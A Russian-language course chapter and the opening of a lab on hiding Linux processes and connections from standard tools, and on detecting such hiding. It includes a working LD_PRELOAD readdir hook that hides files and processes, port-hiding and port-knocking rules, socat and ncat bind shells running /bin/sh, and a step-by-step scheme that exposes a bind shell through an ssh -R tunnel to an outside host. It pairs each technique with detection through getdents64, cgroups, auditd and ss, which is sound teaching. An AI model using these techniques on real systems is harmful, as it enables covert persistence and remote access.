Скрытие процессов и сетевая стелс-работа

Предыдущая тема заканчивалась на загрузке: код, исполняемый до монтирования корня, переживает обновления и не попадает в журналы systemd. Но такой код всё равно проявляет себя, как только система поднимется: он становится процессом, открывает сокет, держит файлы. Задача этой темы — сделать так, чтобы процесс и его соединения не были видны штатными инструментами, и понять, почему полного сокрытия в пространстве пользователя не существует.

Первая половина темы — про procfs. Список процессов, который показывает ps, top, pgrep и даже простой ls /proc, формируется ядром в одной функции. Если перехватить библиотечный вызов, через который утилита получает этот список, можно вычеркнуть из него отдельные записи. Это работает против большинства утилит и не работает против программ, которые обращаются к ядру напрямую, — и именно поэтому тема 8 начинается с прямых системных вызовов.

Вторая половина — про сеть. Соединения видны через несколько независимых интерфейсов: procfs, netlink, lsof, счётчики conntrack. Скрыть порт от одного из них не значит скрыть от всех. Разбирается, как устроены таблицы iptables, чем REDIRECT отличается от DNAT и TPROXY, как работает conntrack и почему туннель через ssh -R виден на промежуточном хосте даже тогда, когда на целевом не видно ничего.

Третья часть — туннели и эксфильтрация: ssh -L/-R/-D, socat, ncat, bind shell на localhost и передача данных через промежуточный узел. Каждый приём разбирается вместе с тем, как он выглядит со стороны: какие поля в ss, какие записи в conntrack, какие строки в журнале sshd.

Все примеры, где это возможно, проверены запуском: перехват readdir и обход через прямой getdents64, правила iptables в сетевом пространстве имён, формат /proc/net/tcp. Команды, требующие root на реальной машине, приведены как примеры для собственной виртуальной машины. Устройство procfs и сетевых подсистем ядра описано в литературе ⁴⁵; формат файлов и параметры утилит — в справочных страницах proc(5), getdents(2), iptables(8), ssh_config(5) ¹. Интерфейсы сокетов и работа с дескрипторами разобраны у Керриска ².

Слои, на которых процесс и соединение становятся видимыми, показаны на рисунке 1.

procfs: как ядро отдаёт список процессов

proc_pid_readdir и что происходит при ls /proc

procfs — виртуальная файловая система, содержимое которой формируется ядром в момент чтения. Каталог /proc не хранит записи на диске: когда процесс вызывает getdents64 на дескрипторе /proc, ядро вызывает функцию proc_pid_readdir, которая обходит список процессов и заполняет буфер именами вида 1234, 5678 и служебными записями self, thread-self, sys, bus.

Упрощённо обход выглядит так: ядро берёт очередной task_struct по глобальному списку, проверяет, что это лидер группы потоков (tgid == pid), и добавляет его числовой идентификатор в каталог. Права на сам каталог проверяются отдельно: /proc/<pid> доступен, если процесс принадлежит тому же пользователю или у читателя есть CAP_SYS_PTRACE. Именно поэтому ls /proc от обычного пользователя показывает все PID, а ls /proc/<pid>/fd чужого процесса — нет.

Каждая запись каталога — это структура struct linux_dirent64: inode, смещение, длина записи, тип и имя. Формат одинаков для всех файловых систем, и именно его получает утилита, вызывая getdents64. Библиотечная функция readdir — обёртка: она вызывает getdents64, разбирает буфер и возвращает по одной записи.

Что лежит внутри /proc/<pid>

Для сокрытия важно знать, какие файлы процесс выставляет наружу:

ps читает stat и status, pgrep — cmdline, lsof — fd. Все они сначала получают список PID через readdir на /proc. Значит, перехват readdir влияет на всех них сразу — но только на тех, кто загружает библиотеку с перехватчиком.

Почему ss — отдельный случай

ss из пакета iproute2 не читает /proc/net/tcp; он обращается к ядру через netlink, и это различие описано в документации iproute2 и в справочных страницах ¹. Он обращается к ядру через netlink-сокет семейства NETLINK_SOCK_DIAG и получает дамп сокетов от подсистемы sock_diag. Это другой интерфейс, и перехват readdir на него не действует. То же касается nft и iptables: они работают через netlink, а не через procfs.

Отсюда первое важное наблюдение темы: разные инструменты видят систему через разные интерфейсы. Скрытие от одного не означает скрытия от другого. Полный список интерфейсов, через которые виден процесс или сокет:

• procfs — /proc/<pid>, /proc/net/*;
• sysfs — /sys/fs/cgroup, /sys/kernel;
• netlink — sock_diag, NETLINK_NETFILTER, NETLINK_AUDIT;
• auditd — события ядра;
• eBPF — трассировка ядра (тема 8);
• собственные счётчики подсистем (conntrack, nf_tables).

Пространства имён и hidepid

Видимость procfs можно сузить штатными средствами. Опция монтирования hidepid управляет тем, какие каталоги /proc/<pid> видны:

Включение на работающей системе:

sudo mount -o remount,hidepid=2,gid=proc /proc

После этого ps aux от обычного пользователя показывает только его процессы, а ls /proc — только его PID и служебные записи. Это защита от перехвата readdir: скрывать становится нечего, потому что ядро само не отдаёт чужие записи. Root и процессы с CAP_SYS_PTRACE видят всё, поэтому для администратора картина не меняется.

Обратная сторона: hidepid=2 ломает часть штатных сценариев — мониторинг, top от непривилегированного пользователя, некоторые контейнерные runtime. Поэтому в дистрибутивах он выключен по умолчанию, и его включение — осознанное решение.

Для лабораторной работы удобно использовать пространство имён: unshare -rnm --mount-proc создаёт новый mount namespace с собственной копией /proc, привязанной к новому PID namespace. Внутри такого пространства можно монтировать procfs с любыми опциями, не трогая систему:

unshare -rnm --mount-proc bash -c 'mount -o remount,hidepid=2 /proc && ps aux'

Этот приём используется во всех заданиях темы, где нужны правила iptables или изменения procfs: он даёт root внутри пространства имён и не даёт никаких прав снаружи.

Сокрытие в пространстве пользователя

Перехват readdir

Минимальный перехватчик readdir фильтрует записи по имени. Ниже — рабочий пример, который скрывает файл secret.txt из любого каталога:

#define _GNU_SOURCE
#include <dirent.h>
#include <dlfcn.h>
#include <errno.h>
#include <string.h>

struct dirent *readdir(DIR *dirp) {
    static struct dirent *(*real)(DIR *);
    if (!real) {
        real = (struct dirent *(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
        if (!real) { errno = ENOSYS; return NULL; }
    }
    struct dirent *e;
    while ((e = real(dirp)) != NULL)
        if (strcmp(e->d_name, "secret.txt") != 0)
            return e;
    return NULL;
}

Сборка и проверка на каталоге с тремя файлами (реальный вывод):

gcc -shared -fPIC -o hide.so hide.c -ldl
ls

hide.so  notes.txt  secret.txt  visible.txt

LD_PRELOAD=./hide.so ls

hide.so  notes.txt  visible.txt

ls не показывает secret.txt, хотя файл на месте. Тот же эффект получится у find, du, tar и любой другой утилиты, которая использует readdir из libc.

Чтобы скрывать процессы, фильтр строится по имени записи: в /proc имена — это PID. Перехватчик читает /proc/<pid>/comm или cmdline и вычёркивает запись, если имя совпало с шаблоном. Тот же приём работает для сокрытия файлов, каталогов и записей в /proc/net.

Почему это ломается

Перехват библиотечного вызова действует только внутри процесса, который загрузил библиотеку. Отсюда ограничения:

• Статические бинарники. Программа, собранная с -static, не загружает libc.so и не проходит через динамический загрузчик; перехват на неё не действует.
• Прямые системные вызовы. Программа, которая вызывает getdents64 напрямую, минует readdir целиком. Проверка на том же каталоге:

LD_PRELOAD=./hide.so ./getdents

secret.txt
visible.txt
notes.txt
hide.so
getdents.c
getdents

secret.txt снова на месте. Ниже — код этой программы; он вызывает SYS_getdents64 и разбирает буфер вручную:

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

struct linux_dirent64 {
    unsigned long long d_ino;
    long long d_off;
    unsigned short d_reclen;
    unsigned char d_type;
    char d_name[];
};

int main(int argc, char **argv) {
    const char *path = argc > 1 ? argv[1] : ".";
    int fd = open(path, O_RDONLY | O_DIRECTORY);
    if (fd < 0) { perror("open"); return 1; }
    char buf[4096];
    for (;;) {
        long n = syscall(SYS_getdents64, fd, buf, sizeof buf);
        if (n <= 0) break;
        for (long off = 0; off < n;) {
            struct linux_dirent64 *d = (struct linux_dirent64 *)(buf + off);
            if (strcmp(d->d_name, ".") && strcmp(d->d_name, ".."))
                puts(d->d_name);
            off += d->d_reclen;
        }
    }
    close(fd);
    return 0;
}

• Другой интерфейс. Даже идеальный перехват readdir не влияет на ss, nft, conntrack и auditd.
• Проверка maps. Защитник может посмотреть /proc/<pid>/maps и увидеть загруженную библиотеку с необычным путём — перехватчик выдаёт себя.
• Проверка environ. LD_PRELOAD виден в окружении процесса, если у защитника есть доступ к /proc/<pid>/environ.

Что даёт сокрытие в user space

Несмотря на ограничения, приём полезен: он убирает процесс из вывода рутинных утилит, которыми пользуется администратор, и снижает вероятность случайного обнаружения. Он не выдерживает целенаправленной проверки, но для короткой операции этого часто достаточно.

Границы приёма честно очерчены: полное сокрытие требует уровня ядра — модуля или eBPF-программы, которая перехватывает getdents64 на входе в ядро. Это отдельный курс; здесь важно понимать, что user-mode сокрытие — это фильтр вывода, а не отсутствие объекта.

Сеть: как ядро показывает соединения

/proc/net/tcp и его формат

Список TCP-соединений доступен через /proc/net/tcp. Реальный пример:

head -3 /proc/net/tcp

  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 0100007F:2CAA 00000000:0000 0A 00000000:00000000 00:00000000 00000000 65534        0 1797 2 000000004bea33b7 100 0 0 10 0
   1: 0100007F:CC79 00000000:0000 0A 00000000:00000000 00:00000000 00000000 65534        0 194989 2 00000000b32e5690 100 0 0 10 0

Поля читаются так:

• local_address — адрес и порт в hex, адрес записан в сетевом порядке байт, то есть задом наперёд: 0100007F — это 127.0.0.1, 2CAA — порт 0x2CAA = 11434;
• rem_address — удалённый адрес; 00000000:0000 для слушающего сокета;
• st — состояние: 0A — LISTEN, 01 — ESTABLISHED, 06 — TIME_WAIT;
• uid — владелец сокета;
• inode — inode сокета, по которому его можно найти в /proc/<pid>/fd.

ss показывает то же самое, но через netlink и в человекочитаемом виде:

ss -tulpn | head -6

Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
udp   UNCONN 0      0        224.0.0.251:5353       0.0.0.0:*
udp   UNCONN 0      0        224.0.0.251:5353       0.0.0.0:*
udp   UNCONN 0      0            0.0.0.0:5353       0.0.0.0:*

-t — TCP, -u — UDP, -l — слушающие, -p — процесс, -n — без разрешения имён. ss -p показывает процесс только для сокетов, доступных читателю; для чужих нужен root или CAP_NET_ADMIN.

lsof -i идёт другим путём: он обходит /proc/*/fd и сопоставляет inode сокетов с записями в /proc/net/*. Поэтому сокрытие процесса из readdir влияет и на lsof, а сокрытие записи в /proc/net/tcp — нет, если lsof читает файл напрямую.

Расширенный вывод ss и управление сокетами

ss умеет показывать больше, чем список портов. Флаг -e добавляет inode и uid, -o — таймеры, -i — параметры TCP (окно, RTT, congestion control):

ss -tulpen
ss -tin state established

Вывод -e позволяет сопоставить сокет с записью в /proc/net/tcp по inode без отдельного скрипта. Флаг -K принудительно закрывает соединения, отобранные фильтром:

sudo ss -K dst 203.0.113.10 dport = 22

Это не «сокрытие», а реагирование: администратор может разорвать подозрительное соединение, не трогая процесс. Для защитника полезно и обратное: если соединение исчезает из ss само, без ss -K и без завершения процесса, стоит проверить, не перехвачен ли вывод.

Сопоставление сокета и процесса

Запись в /proc/net/tcp содержит inode сокета, но не PID. Связь находится через /proc/<pid>/fd: каждый открытый сокет — это символическая ссылка вида socket:[inode]. Скрипт ниже строит обратное соответствие и показывает, какой процесс владеет соединением.

#!/usr/bin/env python3
# Сопоставляет inode сокетов из /proc/net/tcp с PID через /proc/<pid>/fd.
import glob
import os

owners = {}
for fd in glob.glob("/proc/[0-9]*/fd/*"):
    try:
        target = os.readlink(fd)
    except OSError:
        continue
    if target.startswith("socket:["):
        inode = target[8:-1]
        pid = fd.split("/")[2]
        owners.setdefault(inode, set()).add(pid)

with open("/proc/net/tcp") as fh:
    next(fh)
    for line in fh:
        fields = line.split()
        inode = fields[9]
        local, remote, state = fields[1], fields[2], fields[3]
        pids = ",".join(sorted(owners.get(inode, {"?"})))
        print(f"{local} -> {remote} state={state} inode={inode} pid={pids}")

Если для соединения в ss не находится PID, а скрипт показывает ?, возможны три причины: процесс уже завершился, сокет принадлежит ядру (например, sshd до fork), или процесс скрыт от читателя. Третья причина — та, которая интересует нас в этой теме.

Состояния сокетов в /proc/net/tcp кодируются двузначным hex:

iptables: таблицы, цепочки и цели

iptables — интерфейс к подсистеме netfilter. Правила группируются в таблицы по назначению, а внутри таблиц — в цепочки по моменту обработки. Раскладка таблиц и порядок прохождения пакета — классическая тема администрирования сети ³:

Путь пакета через эти таблицы показан на рисунке 2.

Цели, важные для стелс-работы:

• REDIRECT — перенаправить пакет на локальный порт; работает в nat и только для локально сгенерированного или входящего трафика;
• DNAT — изменить адрес назначения; требует включённой пересылки, если пакет идёт через хост;
• TPROXY — прозрачный прокси без изменения адреса; работает в mangle и требует policy routing и сокета с IP_TRANSPARENT;
• MARK — поставить метку пакету, по которой потом выбирается таблица маршрутизации.

Пример: скрыть слушающий порт 2222 за портом 8080, который выглядит как обычный веб-сервис. Проверено в сетевом пространстве имён:

unshare -rnm --propagation private bash -c '
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j REDIRECT --to-port 2222
iptables -t nat -L PREROUTING -n -v
'

Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 REDIRECT   tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:8080 redir ports 2222

Теперь соединение на 8080 попадает на 2222, а ss показывает только 2222 — если слушающий сокет привязан к 127.0.0.1, снаружи он не виден вовсе.

Важная деталь: правило в PREROUTING действует на пакеты, пришедшие извне. Соединение, созданное на самой машине, проходит цепочку OUTPUT и PREROUTING не видит. Для проверки на loopback правило нужно добавлять в OUTPUT:

iptables -t nat -A OUTPUT -p tcp --dport 8080 -j REDIRECT --to-port 2222

Это различие — частая причина «правило есть, а не работает».

conntrack и MARK

conntrack хранит состояние соединений: адреса, порты, состояние, таймеры. Посмотреть таблицу:

sudo conntrack -L
cat /proc/net/nf_conntrack | head

Правило, которое помечает пакеты, пришедшие на нестандартный порт, и отправляет их в отдельную таблицу маршрутизации:

iptables -t mangle -A PREROUTING -p tcp --dport 8080 -j MARK --set-mark 0x1
ip rule add fwmark 0x1 table 100
ip route add local 0.0.0.0/0 dev lo table 100

Это и есть основа TPROXY: пакет не меняет адрес, но маршрутизируется локально, и слушающий сокет получает его через IP_TRANSPARENT. Для защитника такая схема выглядит как обычный трафик на 8080; признак — нестандартная таблица маршрутизации и правило MARK.

nftables вместо iptables

На современных дистрибутивах iptables — это совместимый слой поверх nf_tables. Собственный синтаксис nft короче и позволяет смешивать семейства адресов в одном правиле:

nft add table inet filter
nft add chain inet filter input '{ type filter hook input priority 0; policy accept; }'
nft add rule inet filter input tcp dport 8080 redirect to :2222
nft list ruleset

table inet filter {
	chain input {
		type filter hook input priority filter; policy accept;
		tcp dport 8080 redirect to :2222
	}
}

Правило redirect работает в цепочке с хуком input и перенаправляет пакет на локальный порт. Для DNAT используется dnat to, для метки — meta mark set. Проверка состояния — nft list ruleset, nft -s list ruleset (сохранить в файл), nft monitor (наблюдать изменения в реальном времени).

Для защитника nft monitor — хороший способ увидеть правку правил в момент её применения, а контрольная сумма вывода nft -s list ruleset — способ заметить правку постфактум.

Port knocking

Port knocking — открытие порта после последовательности подключений к закрытым портам; в модели ATT&CK этот класс приёмов относится к сокрытию инфраструктуры ⁶. Реализуется через knockd или модуль recent:

iptables -N KNOCK
iptables -A INPUT -p tcp --dport 7000 -m recent --name knock --set -j DROP
iptables -A INPUT -p tcp --dport 7001 -m recent --name knock --rcheck --seconds 10 -j DROP
iptables -A INPUT -p tcp --dport 22 -m recent --name knock --rcheck --seconds 10 -j ACCEPT

Последовательность 7000 → 7001 в течение десяти секунд открывает SSH на десять секунд. С точки зрения сканера порт 22 закрыт, пока не выполнена последовательность. Обнаружение — по правилам iptables-save, по счётчикам срабатываний и по логам knockd.

Туннели и эксфильтрация

ssh -L, -R, -D

SSH умеет три вида проброса:

Обратный проброс — основной инструмент выхода из закрытого периметра: клиент внутри сети подключается к внешнему серверу, и сервер получает порт, ведущий внутрь. По умолчанию -R слушает только 127.0.0.1 на удалённой стороне; чтобы слушать на всех интерфейсах, нужен GatewayPorts yes в sshd_config удалённой стороны.

ssh -R 8080:127.0.0.1:2222 user@203.0.113.10

Схема с обратным туннелем и точками наблюдения показана на рисунке 3.

После подключения на 203.0.113.10 порт 8080 ведёт на 127.0.0.1:2222 внутри клиента. Соединение между клиентом и сервером — обычный SSH-трафик на 22, который виден в conntrack и в журнале sshd на обеих сторонах.

StreamLocalBindUnlink yes позволяет переиспользовать unix-сокет для проброса: без него sshd откажется создавать сокет, если файл уже существует.

socat и ncat

ssh не всегда доступен. socat и ncat дают те же возможности проще:

# слушатель на localhost
socat TCP-LISTEN:2222,bind=127.0.0.1,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane

# клиент, который подключается и передаёт stdin/stdout
socat TCP:127.0.0.1:2222 EXEC:/bin/sh,pty,stderr,setsid,sigint,sane

# обратный проброс через ncat
ncat -l 2222 --keep-open --exec "/bin/sh" --allow 127.0.0.1

ncat --allow ограничивает круг клиентов, --ssl добавляет шифрование. Для защитника такой слушатель виден в ss -tulpn как процесс socat/ncat, а в auditd — как execve с необычной командной строкой.

Bind shell на localhost и вынос через ssh -R

Схема, которая не открывает ни одного внешнего порта:

1. На скомпрометированном хосте запускается слушатель, привязанный к 127.0.0.1:

   ncat -l 127.0.0.1 2222 --keep-open --exec "/bin/sh"
   

2. С этого же хоста устанавливается обратное SSH-подключение к внешнему серверу с пробросом:

   ssh -N -R 8080:127.0.0.1:2222 user@203.0.113.10
   

3. На внешнем сервере порт 8080 ведёт внутрь. Снаружи на скомпрометированном хосте не слушает никто, кроме SSH-клиента, который сам инициировал соединение.

Что видно на каждом шаге:

• на скомпрометированном хосте — исходящее SSH-соединение на 203.0.113.10:22, процесс ssh -N -R …, слушатель на 127.0.0.1:2222;
• на внешнем сервере — входящее SSH-соединение и слушающий порт 8080, принадлежащий sshd;
• в conntrack обеих сторон — установленное соединение;
• в журнале sshd — запись о подключении с указанием пользователя и адреса.

Ни один из этих следов не исчезает от перехвата readdir: они видны через netlink и журналы.

DNS-туннель как идея

Если исходящие соединения разрешены только на DNS, данные можно передавать в поддоменах запросов. Схема: клиент кодирует данные в имя вида <данные>.t.example, сервер отвечает в TXT-записях. Готовые реализации — iodine, dnscat2; самодельная — несколько десятков строк на Python с dnslib.

Ограничения: пропускная способность низкая, задержки высокие, аномальные запросы видны в логах DNS-сервера и в системах анализа DNS-трафика. Для защитника признак — большое число запросов к одному домену с длинными случайными метками и необычными типами записей.

Что видно на промежуточном хосте

Любой туннель имеет две стороны, и вторая сторона почти всегда видна лучше первой. Схема с ssh -R оставляет на внешнем сервере входящее SSH-соединение, слушающий порт, принадлежащий sshd, и запись в журнале о подключении. Схема с DNS-туннелем оставляет на DNS-сервере последовательность запросов, по которой восстанавливается объём и время передачи.

Отсюда правило: при оценке стелс-приёма надо смотреть не только на скомпрометированный хост, но и на все узлы, через которые проходит трафик. Промежуточный хост — это точка, где сходятся обе стороны, и именно там проще всего поставить наблюдение ⁶.

Обнаружение и защита

Проверка процессов

ps aux --sort=-pid | head
ls -la /proc | head
for p in /proc/[0-9]*; do
    printf '%s %s\n' "${p#/proc/}" "$(tr '\0' ' ' < "$p/cmdline" 2>/dev/null | cut -c1-80)"
done | sort -n | head -20

Прямой обход /proc без readdir через getdents64 — то, что делает программа из раздела выше. Если список, полученный прямым вызовом, отличается от вывода ps, это признак перехвата.

# сравнение числа процессов
ls /proc | grep -c '^[0-9]'
ps -e --no-headers | wc -l

Расхождение — не доказательство (процессы появляются и исчезают), но повод проверить maps подозрительных процессов:

grep -l '\.so' /proc/*/maps 2>/dev/null | head
tr '\0' '\n' < /proc/<pid>/environ | grep -i preload

cgroups, systemd и auditd

Процесс, скрытый от readdir, остаётся в cgroup. Дерево cgroup — независимый интерфейс: /sys/fs/cgroup/system.slice/<unit>/cgroup.procs перечисляет PID напрямую, без procfs и без readdir. Проверка:

systemd-cgls --no-pager | head -30
cat /sys/fs/cgroup/system.slice/*/cgroup.procs 2>/dev/null | sort -un | head

Если PID есть в cgroup.procs, но отсутствует в ps, это прямое указание на сокрытие. Аналогично systemd-cgtop показывает нагрузку по cgroup, а systemctl status — процессы юнита.

auditd даёт третий независимый источник. Правила, которые фиксируют ключевые действия:

# /etc/audit/rules.d/stealth.rules
-a always,exit -F arch=b64 -S execve -F euid=0 -k root_exec
-a always,exit -F arch=b64 -S bind -k socket_bind
-a always,exit -F arch=b64 -S connect -k socket_connect
-w /proc/sys/kernel/yama/ptrace_scope -p wa -k ptrace_policy
-w /etc/ssh/sshd_config -p wa -k ssh_config

События ищутся по ключу:

sudo ausearch -k socket_bind -i --start today | tail -20
sudo ausearch -k root_exec -i --start recent | grep -E 'exe=|comm='

bind фиксирует открытие слушающего сокета, connect — исходящие соединения. Вместе с execve это даёт хронологию: какой процесс, от какого пользователя, когда открыл порт и куда пошёл. Скрыть эти события из user space нельзя: они формируются в ядре до того, как программа получает управление ⁷.

Сравнение списков процессов

Практическая проверка на сокрытие — сравнить три независимых списка: ps, содержимое /proc через прямой getdents64 и cgroup.procs. Расхождение между ними и есть признак.

ps -eo pid= | sort -n > /tmp/list-ps.txt
./getdents /proc | grep -E '^[0-9]+$' | sort -n > /tmp/list-proc.txt
cat /sys/fs/cgroup/system.slice/*/cgroup.procs 2>/dev/null | sort -un > /tmp/list-cgroup.txt
comm -23 /tmp/list-proc.txt /tmp/list-ps.txt
comm -23 /tmp/list-cgroup.txt /tmp/list-ps.txt

comm -23 показывает строки, которые есть в первом файле и отсутствуют во втором. Список из procfs может содержать PID, которых нет в ps, если ps использует перехваченный readdir; список из cgroup — если процесс скрыт и от ps, и от readdir, но остался в дереве cgroup.

Проверка сети

ss -tulpn
ss -tanp | grep ESTAB
lsof -i -P -n | head
sudo conntrack -L | head
sudo iptables-save | tee /tmp/iptables-$(date +%s).save
sudo nft list ruleset | head -40

Три независимых источника — ss (netlink), lsof (/proc/*/fd), conntrack (netfilter) — должны согласовываться. Если ss показывает соединение, а lsof не находит владельца, стоит проверить, не скрыт ли процесс; если conntrack показывает соединение, которого нет в ss, — проверить правила nat.

Контрольная сумма правил помогает заметить правку:

sudo iptables-save | sha256sum
sudo nft list ruleset | sha256sum

Эталон хранится вне машины; изменение суммы между проверками — сигнал.

Матрица «приём — признак — контрмера»

Что ломает приём

• Прямой системный вызов. Любая проверка, которая не использует libc, обходит user-mode перехват.
• Другой интерфейс. ss, nft, conntrack, auditd не читают procfs.
• Статическая сборка улит. busybox, статические ps и ls не загружают перехватчик.
• Проверка maps и environ. Перехватчик виден по загруженной библиотеке и переменной окружения.
• AllowTcpForwarding no на сервере запрещает -L, -R и -D целиком.
• GatewayPorts no оставляет -R только на 127.0.0.1, что сужает доступ.
• Сетевые пространства имён и eBPF. Трассировка на уровне ядра видит системные вызовы независимо от библиотек (тема 8).

Итоги темы

Видимость в Linux многослойна. Процесс виден через procfs, через sysfs, через netlink и через журналы; сокет — через procfs, sock_diag, conntrack и файловые дескрипторы. Перехват библиотечного вызова закрывает только один слой и только для программ, которые этим слоем пользуются. Прямой getdents64, статическая сборка, ss и auditd обходят такой перехват без усилий.

Сетевые приёмы устроены так же: REDIRECT и DNAT меняют то, что видит одна подсистема, но оставляют следы в другой. ssh -R не открывает внешних портов на скомпрометированном хосте, но создаёт исходящее соединение, которое видно в conntrack, в ss и в журнале sshd на обеих сторонах.

Практический вывод: сокрытие — это не удаление объекта, а выбор интерфейсов, которые о нём не знают. Чем больше интерфейсов проверяет защитник и чем меньше они пересекаются, тем меньше шансов, что сокрытие останется незамеченным. Следующая тема опускается на уровень ядра — в eBPF и прямые системные вызовы, где заканчиваются библиотечные перехваты и начинается работа с самим ядром.

Литература

1. The Linux man-pages project. — https://man7.org/linux/man-pages/
2. Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010.
3. Nemeth E., Snyder G., Hein T. R., Whaley B., Mackin D. UNIX and Linux System Administration Handbook. 5th ed. — Addison-Wesley, 2017.
4. Bovet D. P., Cesati M. Understanding the Linux Kernel. 3rd ed. — O'Reilly Media, 2005.
5. Linux Kernel Documentation. — https://docs.kernel.org/
6. MITRE ATT&CK: Linux techniques. — https://attack.mitre.org/
7. NIST SP 800-86. Guide to Integrating Forensic Techniques into Incident Response. — 2006.

Дополнительные материалы

Вопросы для самопроверки

1. Какая функция ядра формирует список PID в /proc и почему она возвращает только лидеров групп потоков?
2. Что получает утилита от getdents64 и как readdir превращает буфер в отдельные записи?
3. Почему перехват readdir действует на ls и find, но не на программу, собранную с -static?
4. Почему find обманывается перехватом, хотя это отдельная программа, а не оболочка?
5. Через какой интерфейс ss получает список сокетов и почему перехват /proc/net/tcp его не затрагивает?
6. Что означает поле st в /proc/net/tcp и какие значения соответствуют LISTEN, ESTABLISHED и TIME_WAIT?
7. Как по inode сокета найти процесс и почему для чужих процессов ответ часто ??
8. Чем REDIRECT отличается от DNAT по месту применения и по последствиям для маршрутизации?
9. Почему правило REDIRECT в PREROUTING не действует на соединение с той же машины?
10. Зачем при TPROXY нужны MARK, policy routing и сокет с IP_TRANSPARENT?
11. Почему после выхода из unshare -rnm правила iptables исчезают и где они хранились?
12. Что видно на промежуточном узле при ssh -R и что — только на скомпрометированном хосте?
13. Чем локальный форвардер на socat отличается от туннеля по набору следов?
14. Почему hidepid=2 защищает лучше перехвата readdir?
15. Какие интерфейсы покажут процесс, скрытый и от ps, и от readdir?
16. Почему контрольная сумма iptables-save полезна, а одна и та же сумма не гарантирует отсутствие правок?
17. Как auditd фиксирует bind и connect и почему эти события нельзя скрыть из user space?
18. Что означает расхождение между conntrack и ss и о чём оно может говорить?

Глоссарий темы

Шпаргалка

Процессы

ps -eo pid,ppid,comm,args
ls /proc | grep -E '^[0-9]+$'
./getdents /proc
systemd-cgls --no-pager
cat /sys/fs/cgroup/system.slice/*/cgroup.procs
grep -E 'hide|\.so' /proc/<pid>/maps
tr '\0' '\n' < /proc/<pid>/environ | grep -i preload

Сокеты

ss -tulpn
ss -tanp
ss -tulpen
ss -tin state established
lsof -i -P -n
cat /proc/net/tcp
python3 socket-owners.py
sudo conntrack -L

Netfilter

iptables -t nat -A OUTPUT -p tcp --dport 8080 -j REDIRECT --to-port 2222
iptables -t nat -L OUTPUT -n -v
iptables-save
nft add rule inet filter input tcp dport 8080 redirect to :2222
nft list ruleset
nft monitor

Изоляция

unshare -rnm --propagation private bash
ip link set lo up
ip addr show

Типичные ошибки

Что почитать и посмотреть

• man 5 proc, man 2 getdents, man 3 readdir, man 7 netlink — формат procfs, системный вызов и библиотечная обёртка.
• man 8 iptables, man 8 nft, man 1 ss, man 8 conntrack — синтаксис правил и интерфейсы просмотра.
• man 5 ssh_config, man 1 ssh — проброс портов, GatewayPorts, StreamLocalBindUnlink.
• Linux Kernel Documentation. — https://docs.kernel.org/ — разделы о procfs, netfilter и network namespaces.
• Bovet D. P., Cesati M. Understanding the Linux Kernel. 3rd ed. — O'Reilly Media, 2005. — устройство procfs и структур ядра.
• Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010. — системные вызовы, сокеты, getdents.
• MITRE ATT&CK: T1057 Process Discovery, T1014 Rootkit, T1572 Protocol Tunneling. — https://attack.mitre.org/ — классификация приёмов.
• iproute2. Документация. — https://www.kernel.org/pub/linux/utils/net/iproute2/ — ss, ip rule, ip route.

Углубление

Как устроен обход /proc в ядре

proc_pid_readdir не хранит список: при каждом вызове getdents64 ядро обходит глобальный список процессов и заполняет буфер. Обход идёт по task_struct, связанным списком; для каждого проверяется, что это лидер группы потоков, и вычисляется имя — десятичный PID. Права проверяются при открытии каталога /proc/<pid>, а не при чтении /proc.

Из этого следуют два практических вывода. Во-первых, readdir на /proc — это не чтение файла, а вызов кода ядра, и перехват библиотечной функции обманывает только вызывающего. Во-вторых, список всегда актуален на момент вызова: процессы, завершившиеся между вызовами, в него не попадут, а новые — попадут.

sock_diag: почему ss не зависит от procfs

Подсистема sock_diag позволяет получить дамп сокетов через netlink. Клиент открывает сокет AF_NETLINK с протоколом NETLINK_SOCK_DIAG, отправляет запрос inet_diag_req_v2 с семейством и протоколом и получает поток inet_diag_msg. Ядро заполняет его из тех же структур, что и /proc/net/tcp, но другим путём.

Именно поэтому ss и /proc/net/tcp могут расходиться: /proc формируется через seq_file и proc_net, а sock_diag — через отдельный обработчик. Перехват одного не влияет на другой. Для защитника это означает, что сравнивать надо оба источника, а не доверять одному.

Пространства имён как инструмент и как граница

unshare -rnm создаёт три пространства имён: user (с отображением текущего пользователя в root), network (собственный набор интерфейсов и таблиц) и mount (собственная таблица монтирования). Внутри такого пространства можно делать то, что требует root, не получая прав снаружи: поднимать lo, создавать veth, настраивать iptables, монтировать procfs с hidepid.

Для защитника пространства имён — это и граница, и признак. Процесс в чужом network namespace не виден в ss хоста, но виден в ip netns list и в /proc/<pid>/ns/net. Сравнение ns процессов — ещё один интерфейс видимости, о котором стоит помнить.

Почему cgroup — самый надёжный якорь

Процесс может сменить имя, setsid, уйти в другой сеанс, скрыться из procfs — но остаётся в cgroup, пока его туда не перенесут записью в cgroup.procs (нужны права) или пока он не будет делегирован. Поэтому проверка cgroup.procs — один из самых устойчивых способов найти процесс, который «исчез» из ps.

Ограничение: не все процессы лежат в system.slice; пользовательские сеансы живут в user.slice, контейнеры — в своих cgroup, а процессы вне systemd могут оказаться в корневой cgroup. Поэтому обход должен покрывать всё дерево /sys/fs/cgroup, а не только system.slice.

Лабораторная работа 7. Сетевой призрак

• Раздел курса: апокриф 7 «Скрытие процессов и сетевая стелс-работа»

Введение

Работа состоит из восьми частей и построена вокруг одного вопроса: какие интерфейсы знают о процессе и его соединении и что происходит, когда один из них перестаёт отдавать информацию. Сначала читатель собирает три независимых списка процессов — через ps, через прямой обход /proc и через cgroup.procs — и учится объяснять расхождения. Затем собирает перехватчик readdir, скрывает файл и процесс, проверяет, какие утилиты обмануты, а какие нет, и убеждается, что прямой getdents64 возвращает скрытую запись.

